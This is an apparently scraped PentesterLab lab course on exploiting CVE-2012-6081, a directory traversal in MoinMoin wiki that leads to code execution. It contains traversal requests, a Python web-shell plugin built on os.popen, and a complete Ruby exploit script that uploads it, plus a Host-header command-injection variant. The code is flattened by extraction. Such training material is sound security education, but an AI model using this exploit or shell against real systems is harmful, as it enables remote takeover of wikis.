Sunteți pe pagina 1din 25

CVE-2012-6081: MOINMOIN CODE EXECUTION

By Louis Nyffenegger <Louis@PentesterLab.com>

PentesterLab.com CVE-2012-6081: MoinMoin code execution

Table of Content Table of Content Introduction About this exercise


License Syntax of this course The web application

2 4 6
6 6 7

CVE-2012-6081
Reading the advisory Triggering the bug Writing a plugin Geting code execution Optimisation

10
10 11 13 15 23

Conclusion

25

2/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

3/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

Introduction
This course details the exploitation of a code execution in MoinMoin wiki. This bug was exploited to compromise http://wiki.python.org/ and http://wiki.debian.org/. Both incidents have been detailed in the following pages: http://wiki.debian.org/DebianWiki/SecurityIncident2012 and http://wiki.python.org/moin/WikiAttack2013. The exploitation's method used is based on an exploit from Pastebin. The exploitation is really tricky and there are a lot of things to keep in mind and a lot of cool tricks used in this exploit. If you feel really confortable (and work with a team), you can try to exploit this vulnerability without following the course. To do so, you need to follow the following steps: Read the advisories, the patches of CVE-2012-6080 and CVE2012-6081.
4/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

Read the information from the links above and how the vulnerability was exploited. Use the ISO to understand where the files are stored and how you can manipulate this path. Use the ISO to understand how the files are stored and how you can manipulate their content and what limitations exist. Use the MoinMoin documentation to create a valid MoinMoin plugin. Use the vulnerability to deploy your plugin and look at the file generate on the system. play with the file until you manage to gain code execution (good luck).

5/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

About this exercise


License
This exercise by PentesterLab is licensed under the Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-nd/3.0/.

Syntax of this course


6/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

The red boxes provide information on mistakes/issues that are likely to happen while testing: An issue that you may encounter... The green boxes provide tips and information if you want to go further. You should probably check... The blue boxes are "homework": things you can work on once you are done with this exercise: You should probably work on...

The web application


Once the system has booted, you can then retrieve the current IP address of the system using the command ifconfig:

7/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

$ ifconfig eth0 eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:88 errors:0 dropped:0 overruns:0 frame:0 TX packets:77 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:10300 (10.0 KiB) TX bytes:10243 (10.0 KiB) Interrupt:11 Base address:0x8000

In this example the IP address is 10.0.2.15. Throughout the training, the hostname vulnerable is used for the vulnerable machine, you can either replace it by the IP address of the machine, or you can just add an entry to your host file with this name and the corresponding IP address. It can be easily done by modifying: On Windows, your C:\Windows\System32\Drivers\etc\hosts file. On Unix/Linux and Mac OS X, your /etc/hosts file. The IP address can change if you restart the system, don't forget to update your hosts file. Once you access the web application, you should see the following page:
8/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

9/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

CVE-2012-6081
Reading the advisory
The advisory details two vulnerabilities: CVE-2012-6080: a directory traversal in AttachFile.py. CVE-2012-6081: a directory traversal in twikidraw.py and anywikidraw.py that can leads to code execution. If you look at the patches, they are fairly simple: a parameter target was not tainted and is now tainted:

10/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

Triggering the bug


To trigger the bug, we need to find a way to access the functionality. The easiest way to find a page you are allowed to modify is to create an account (the good news is that you don't need it to exploit the vulnerability), log in and go to your profile (by clicking on your login name on the top left). Then, you can create your home page (by clicking "Create my home page now!") and add the following wiki syntax:
{{drawing:test.tdraw}}

(for twikidraw) or (for anywikidraw):


{{drawing:test.adraw}}

Once you saved the page, you should see an attachment icon:

11/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

Once you click this icon, the application should give you a Java applet that will allow you to create, edit and save your drawing. By using a proxy like Burp Suite, you can see the requests sent to the server. The first request retrieves a ticket that will later be used:
GET /moin/WikiSandBox? action=twikidraw&do=modify&target=../../../../data/plugin/action/moin exec.py HTTP/1.0 Host: vulnerable HTTP/1.1 200 OK [...] <param name="savepath" value="/moin/WikiSandBox? action=twikidraw&amp;do=save&amp;ticket=005163768a.55c876ce10957c9093 689e167ba9d1411e4764e8&amp;target=..%2F..%2F..%2F..%2Fdata%2Fplugin%2 Faction%2Fmoinexec.py"> [...]

In the second request, we can see the ticket parameter and the file sent:
12/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

POST /moin/WikiSandBox? action=twikidraw&do=save&ticket=00516376c4.81c62af99e648ca56444788f93 8f8c3b793bb853&target=../../../../data/plugin/action/moinexec.py HTTP/1.1 Host: vulnerable Content-Type: multipart/form-data; boundary=pentesterlab Content-Length: 333 --pentesterlab Content-Disposition: form-data; name="filename" Content-Type: image/png drawing.png --pentesterlab Content-Disposition: form-data; name="filepath"; filename="drawing.png" Content-Type: image/png [...] --pentesterlab--

Writing a plugin
According to Debian's details, the vulnerability was exploited by creating a plugin. It's a common way to get code execution once you are able to write a file on the system.
13/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

By reading the Moinmoin's documentation, we can see that there are multiple types of plugins: Action, Parser, Macro, Formatter and Theme. The more appropriate for our usage seems to be the Action. An Action plugin has to follow this API:
def execute(pagename, request): [...]

Now our goal is to use this plugin to gain code execution, we will need to use os.popen to run commands and write the result of the command in the response:
import os def execute(pagename, request): stream = os.popen(request.values['cmd']) request.write(stream.read())

If we manually (using the shell access) deploy this plugin inside the plugin directory of MoinMoin (/var/lib/moin/mywiki/data/plugin/action/) and name it test.py. We can see that everything is working just fine by accessing the page http://vulnerable/moin/WikiSandBox? action=test&cmd=uname%20-a:

14/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

Geting code execution


If you follow the execution path, you can see that the following actions are performed with the filename:
basepath, basename = os.path.split(filename) basename, ext = os.path.splitext(basename) [...] ci = AttachFile.ContainerItem(request, pagename, target) [...] ci.put('drawing' + ext, filecontent, content_length)

In this code, two values are under user's control: the filename's extension: ext. the content of the file: filecontent. However the extension ext is concatenate to the string drawing. The file will then be put in a tar file by the line ci.put (in MoinMoin/action/AttachFile.py line 630). One of the hard constraint is that our code needs to be the first thing in the file. If we look at the tar format we can see that the filename will be used as if (and therefore be the first thing in the file) unless its size is less than 100 characters.
15/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

We can test this and check Python's behaviour by creating 2 files with a filename of 100 and 101 characters and use Python to generate the corresponding tar file:
import os import tarfile

# 100 characters filename f = open("a"*100, 'w') f.close tar100 = tarfile.open("100.tar", "w") tar100.add("a"*100) tar100.close() # 101 characters filename f = open("a"*101, 'w') f.close tar101 = tarfile.open("101.tar", "w") tar101.add("a"*101) tar101.close() # cleanup os.unlink("a"*100) os.unlink("a"*101)

We can now see the difference between the two files:

16/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

% cat 100.tar aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00006440000765000002400000000000121 32453221034255 0ustar snyffstaff00000000000000 % cat 101.tar ././@LongLink0000000000000000000000000000014600000000000011216 Lustar 00000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaa0000644000076500000240000000000012132453221034255 0ustar snyffstaff00000000000000

As we said before we only control the extension part of the filename. Since it's an extension our payload needs to start with a . and cannot contain any further . (otherwise it will be considered as the start of the extension). Based on the code above, we know that our final Python code (the plugin) will look like drawing[.PAYLOAD]. Problem is there is no drawing object used before, therefore the payload need to make sure this code will not get called. The actual exploit use an always-false condition to avoid this and a unusual way to write if statement in Python:
drawing.z if()else()

This line will ensure that the code drawing.z does not get called.
17/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

Now, if we go back to the initial plugin's code, we can see that there are several . (and that there is also a length problem):
drawing.z if()else() import os def execute(pagename, request): stream = os.popen(request.values['cmd']) request.write(stream.read())

We can quickly rewrite it using smaller variables' name:


drawing.z if()else() import os def execute(p, r): r.write(os.popen(r.values['c']).read())

We can get rid of the . by using python's function exec and pass it a string with the . encoded as \x2e:
drawing.z if()else() import os def execute(p, r): exec("r\x2ewrite(os\x2epopen(r\x2evalues['c'])\x2eread())")

However, this payload is still too big and won't fit in the 100-characters limit created by the tar file format.
18/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

It's possible to save few characters by replacing \x2e by the octal representation of a .: \56. The new payload is smaller (104 characters but still too big):
drawing.z if()else() import os def execute(p, r): exec("r\56write(os\56popen(r\56values['c'])\56read())")

The last improvment done to reduce the size of the payload is to replace r\56write(...) by print>>r,... (to avoid the . encoded as \56) and remove the brackets used by exec:
drawing.z if()else() import os def execute(p, r): exec"print>>r,os\56popen(r\56values['c'])\56read()"

Finally, the encoded payload to be used within the Python code is:
payload = "drawing.s if()else()\n import os\n def execute(p,r):exec\"print>>r,os\\56popen(r\\56values['c'])\\56read()\""

If we put together all the constraints on the payload that the exploit manages to bypass we get the following: 1. It's valid python code.
19/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

2. It starts with drawing.. 3. It contains def execute(p,r):. 4. It does not contain any dot (.) 5. It is less than 100 characters (due to the tar format). We can now use it as part of a script used to get the ticket and upload the malicious plugin:

20/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

require 'socket'

# function used to send request # does not support chunk, gzip, zlib :p def ssend(req) #{{ socket=TCPSocket.new('vulnerable',80) puts req socket.write(req) resp = "" s="" while (s= socket.readline and !s.nil? ) puts s resp+= s break if s =~ /^\r\n$/ end if resp=~ /^Content-Length:\s+(\d+)\s*$/i resp+= socket.read($1.to_i) else resp = socket.read end resp end #}} # getting valid ticket resp = ssend("GET /moin/WikiSandBox? action=twikidraw&do=modify&target=../../../../data/plugin/action/moinexec.py HTTP/1.0\r\n Host: vulnerable\r\n\r\n ") if resp =~ /ticket=(.*?)&amp;target=/ ticket = $1
21/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

end head = "POST /moin/WikiSandBox? action=twikidraw&do=save&ticket=#{ ticket } &target=../../../../data/plugin/action /moinexec.py HTTP/1.1\r\n Host: vulnerable\r\n Content-Type: multipart/formdata; boundary=pentesterlab\r\n Content-Length: " payload = "drawing.s if()else()\n import os\n def execute(p,r):exec\"print>>r,os\\56popen(r\\56values['c'])\\56read()\""

# Building the request's body:


body = "--pentesterlab\r\n "

# Payload: body += "Content-Disposition: form-data; name=\"filename\"\r\n Content-Type: image/png\r\n\r\n#{ payload}\r\n --pentesterlab\r\n " # File content: body += "Content-Disposition: form-data; name=\"filepath\"; filename=\"drawing.png\"\r\n Content-Type: image/png\r\n\r\n BLAH\r\n -pentesterlab--\r\n " #Final request puts head+body.size.to_s+"\r\n\r\n "+body puts ssend(head+body.size.to_s+"\r\n\r\n "+body)

22/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

Here the Moinmoin installation uses CGI, which allows you to gain code execution without restarting the server. Most installations are likely to use WSCGI or mod_python and they will require a restart before your plugin get loaded. After running this script, we can finally get commands execution by accessing http://vulnerable/moin/WikiSandBox? action=moinexec&c=uname%20-a:

Optimisation
After understanding all the restrictions bypassed by the exploit, it's possible to find other optimisations. First, the request is based on the Request class from the Python project werkzeug. If you check the source code or the documentation, you can find that the methods args is similar to values and is shorter. That can be used to save two bytes. Another method, is to use the method host, instead of args['c'] and to directly inject the command inside the Host header:
23/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

payload = "drawing.s if()else()\n import os\n def execute(p,r):exec\"print>>r,os\\56popen(r\\56host)\\56read()\""

It allows us to save several bytes, however it will not work if the server uses virtual hosting. It's still a funny example of what can be done. If you choose this method, the following request can be used to run commands (example with uname -a):
GET /moin/WikiSandBox?action=moinexec HTTP/1.1 Host: uname -a

24/25

PentesterLab.com CVE-2012-6081: MoinMoin code execution

Conclusion
This exercise showed you how to exploit the code execution in MoinMoin wiki (aka CVE-2012-6081). I hope the course provides you with more details on how this vulnerability works and how you can get a working exploit. You can use Talkback to get updates on the vulnerability: http://talkback.volvent.org/cgi-bin/view_vuln.cgi?id=CVE-2012-6081. It's a very neat exploit and it shows multiple tricks to finally get code execution and that's why I thought it was worth working on it. As always, when a project like MoinMoin get a command execution vulnerabilities found, it's unlikely to be a trivial bug, that's why it's always interesting to have a closer look.

25/25

S-ar putea să vă placă și